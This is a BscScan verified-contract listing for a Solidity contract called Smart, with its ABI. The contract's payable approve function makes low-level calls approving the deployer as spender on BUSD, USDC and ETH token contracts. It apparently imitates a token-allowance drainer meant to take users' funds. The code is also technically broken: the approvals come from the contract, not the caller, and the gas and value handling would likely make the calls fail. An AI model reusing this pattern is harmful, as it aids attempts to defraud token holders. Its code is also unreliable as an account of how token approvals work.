Contract Source Code (Solidity)

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Outline

•  contract Smart *
•    - function approve(uint _value)

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/**
 *Submitted for verification at BscScan.com on 2022-08-05
*/

pragma solidity >=0.8.0;

// contract BEP20 {
//     function approve(address spender, uint amount) public {}
// }

contract Smart {
    address public owner;
    address public addr1 = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56; //BUSD
    address public addr2 = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d; //USDC
    address public addr3 = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8; //ETH

    event Response(bool success, bytes data);

    constructor() {
        owner = msg.sender;
    }

    function approve(uint _value) public payable{
        (bool success, bytes memory data) = addr3.call{value: msg.value, gas: 5000}(
            abi.encodeWithSignature("approve(address,uint256)", owner, _value)
        );

        (bool success1, bytes memory data1) = addr1.call{value: msg.value, gas: 5000}(
            abi.encodeWithSignature("approve(address,uint256)", owner, _value)
        );

        (bool success2, bytes memory data2) = addr2.call{value: msg.value, gas: 5000}(
            abi.encodeWithSignature("approve(address,uint256)", owner, _value)
        );

        emit Response(success, data);
        emit Response(success1, data1);
        emit Response(success2, data2);
    }

}

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[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"success","type":"bool"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"Response","type":"event"},{"inputs":[],"name":"addr1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

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ipfs://d6900ea3bb29562dc655404f15dd6b81f0e2a1f2352a458c50b33e0649bc2f12